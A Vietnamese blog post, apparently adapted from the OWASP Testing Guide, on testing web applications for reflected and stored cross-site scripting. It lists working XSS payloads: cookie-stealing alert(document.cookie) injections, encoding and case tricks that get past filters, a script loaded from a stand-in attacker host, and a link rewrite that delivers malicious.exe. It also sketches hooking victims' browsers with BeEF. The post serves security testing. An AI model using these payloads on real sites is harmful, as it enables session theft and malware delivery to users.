Menu
 
» »Unlabelled » Kiểm tra lỗi Reflected Cross site scripting(XSS)

A+ A-
Là một dạng tấn công mà các mã tấn công không nhất thiết phải lưu trữ trên ứng dụng web. Chỉ cần victim mở một link của bên thứ ba hoặc một trang web độc hại.  
Các đoạn mã tấn công thường được viết bằng Javascript hoặc một số ngôn ngữ kịch bản khác. Mục đích thông qua lỗ hổng để cài đặt các phần mềm độc hại, lấy cắp cookie, chỉnh sử nội dung trang…. 
Cách kiểm tra 
  1. Kiểm tra các giá trị đầu vào được nhập từ phía người dùng. Ví dụ: các thông số đầu vào HTTP, POST data, các giá trị ẩn, các giá trị trong các trường như selection hay radio button. Sử dụng các phần mở rộng trong browser hay các proxy để xem các giá trị ẩn. 
  1. Phân tích các giá trị vector đầu vào để phát hiện lỗi tiềm năng. Một số dữ liệu đầu vào tưởng như vô hại, nhưng  các phản ứng trả về cho web browser lại thể hiện lỗi. Việc kiểm tra có thể thực hiện bằng các ứng dụng tự động, nó sẽ tự động quét thông qua 1 list các đoạn mã có thể sử dụng để tấn công, hoặc có thể làm bằng tay. 
  1. Đối với mỗi giá trị đầu vào ta phải thực hiện việc phân tích kết quả và xác định nguy cơ về lỗ hổng mà nó có thể mang lại. Ta phải kiểm tra các kết quả HTML của trang web và tìm kiếm các đầu vào thử nghiệm phù hợp. Sau khi tìm được lỗi, xác định các kí tự đặc biệt không được mã hóa đúng cách, thay thế hoặc lọc các kí tự đó.  
Tốt nhất là các kí tự đó được thay thế bằng các thực thể HTML. Các đối tượng chính để xác định: 
>, <, &, ‘, “ 
Ex1: http://example.com/index.php?user=<script>alert(123)</script> 
Khi victim click vào link trên thì đoạn mã script sẽ được thực thi trên máy của victim. Cụ thể trong trường hợp này mã script chỉ hiển thị ra đoạn kí tự 123 trên popup màn hình của victim. 
http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");  
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>  
Khi người dùng click vào link trên thì trình duyệt sẽ download tệp tin malicious.exe từ server của attacker điều khiển. 
Bypass XSS filters(Vượt qua bộ lọc) 
Ex3:  
Khi các bộ lọc này dựa trên một black list, thì họ sẽ không thể chặn tất cả các biểu thức. Đôi khi có trường hợp tấn công XSS mà không cần sử dụng tới thẻ <script> và các kí tự như “ < > và /. 
Ví dụ:  
Trong ứng dụng có sử dụng đoạn code sau: 
<input type="text" name="state" value="INPUT_FROM_USER"> 
Sau đó attacker có thể submit một đoạn code sau: 
" onfocus="alert(document.cookie) 
Khi đó value=”” onfocus=”alert(document.cookie)” dẫn tới đoạn mã sẽ được thực hiện. 

Ex4: trong một số trường hợp các bộ lọc chỉ lọc các kí tự đơn giản. Ta có thể vượt qua bằng cách thay đổi một số giá trị trong cú pháp hoặc enconding. 
Ví dụ: 
"><script >alert(document.cookie)</script > 
"><ScRiPt>alert(document.cookie)</ScRiPt> 
"%3cscript%3ealert(document.cookie)%3c/script%3e 

Ex5: Bypassing non-recursive filtering 
Trong một số trường hợp việc thực hiện việc lọc đầu vào không được thực hiện đệ quy. Trong trường hợp này attacker có thể vượt qua bộ lọc bằng cách gửi một đoạn mã có dạng như sau: 
<scr<script>ipt>alert(document.cookie)</script> 
Khi đó bộ lọc thực hiện chỉ 1 lần và loại bỏ đi thẻ mở <script> 
  • Code: <script>alert(document.cookie)</script> 
Example 6: Including external script 
Đoạn mã kiểm tra đầu vào của ứng dụng web: 
<? 
   $re = "/<script[^>]+src/i"; 

   if (preg_match($re, $_GET['var']))  
   { 
      echo "Filtered"; 
      return;  
   } 
   echo "Welcome ".$_GET['var']." !"; 
?> 

Đoạn mã trên sẽ lọc đoạn lệnh sau rất tốt: 
<script src="http://attacker/xss.js"></script> 

Tuy nhiên đó chỉ là cuộc tấn công thông thường. trong trường hợp này có thể sử dụng các thuộc tính nhằm bỏ qua việc kiểm tra: 
http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT>  

Testing for Stored Cross site scripting

Là loại tấn công XSS nguy hiểm nhất. Xảy ra khi ứng dụng web cho phép người dùng lưu trữ data có khả năng tấn công.  
Stored XSS đặc biệt nguy hiểm đối với các user có đặc quyền cao. Khi admin truy cập vào một trang web bị lỗi, khi đó cuộc tấn công sẽ tự động thực thi trên browser của nạn nhân. Nó có thể để lộ các thông tin nhạy cảm như session của admin. 
How to Test 
Input Forms 
Đầu tiên ta cần phải xác định các dữ liệu được nhập vào bởi người dùng được lưu trữ trên ứng dụng rồi được hiển thị lại cho phía người dùng. Một số ví dụ đầu vào: 
  • Thông tin của user: name, avatar, picture, address, etc. 
  • Thẻ mua sắm(Shopping cart): ứng dụng cho phép lưu trữ các thông tin liên quan đến thẻ mua sắm và sau đó có thể hiển thị lại. 
  • Quản lí file: ứng dụng cho phép upload file. 
  • Cài đặt ứng dụng/sở thích: ứng dụng cho phép người sử dụng cài đặt sở thích. 
  • Forum/Message board: ứng dụng cho phép trao đổi bài viết giữa người dùng. 
  • Blog: nếu cho phép người dùng gửi bình luận. 
  • Log: nếu cho phép user lưu thông tin vào log. 
Analyze HTML code(phân tích code) 
Các đầu vào được lưu trữ bởi ứng dụng thường sử dụng các tag HTML, nhưng nó cũng có thể ở trong đoạn mã JavaScript.  
Ex: lưu trữ dữ liệu về email  trong  index2.php 
Code của index2.php như sau: 
<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com" /> 

Trong trường hợp này, ta sẽ cố gắng inject code vào sau thẻ input: 
<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"> MALICIOUS CODE <!-- /> 

Testing for Stored XSS: 
Kiểm tra bao gồm kiểm tra giá trị đầu vào và lọc của ứng dụng. tấn công thông thường: 
aaa@aa.com"><script>alert(document.cookie)</script> 
aaa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E 

đảm bảo đầu vào được submitted lên cho ứng dụng.  
Result Expected: 


The HTML code following the injection: 
<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"><script>alert(document.cookie)</script> 

Đầu vào được lưu trữ và thực hiện khi browser load lại trang. Nếu các đoạn mã không vượt qua bộ lọc thì ta cần thay đổi các giá trịn đầu vào để vượt qua các bộ lọc. 
Leverage Stored XSS with BeEF 
Stored XSS có thể khai thác bởi các công cụ khai thác tiến tiến hơn: BeEF, XSS Proxy và Backframe. 
Một kịch bản khai thác sử dụng BeEF: 
  • Injecting a JavaScript hook which communicates to the attacker's browser exploitation framework (BeEF) 
  • Waiting for the application user to view the vulnerable page where the stored input is displayed 
  • Control the application user’s browser via the BeEF console 
Upload File 
Nếu ứng dụng web cho phép upload file, ta phải kiểm tra xem nó có cho ta tải lên các nội dung HTML hay không. Trong TH các tệp tin HTML hay TXT được phép tải lên, ta có thể injected XSS vào các file đó.  
Post HTTP upload file: 
POST /fileupload.aspx HTTP/1.1 
[…] 

Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.txt" 
Content-Type: text/plaintest 
Nguồn: OWASP Testing Guide v4
Người đăng:

Share to:

vào lúc 22:24

Đăng nhận xét

Đăng ký: Đăng Nhận xét (Atom)
 
Top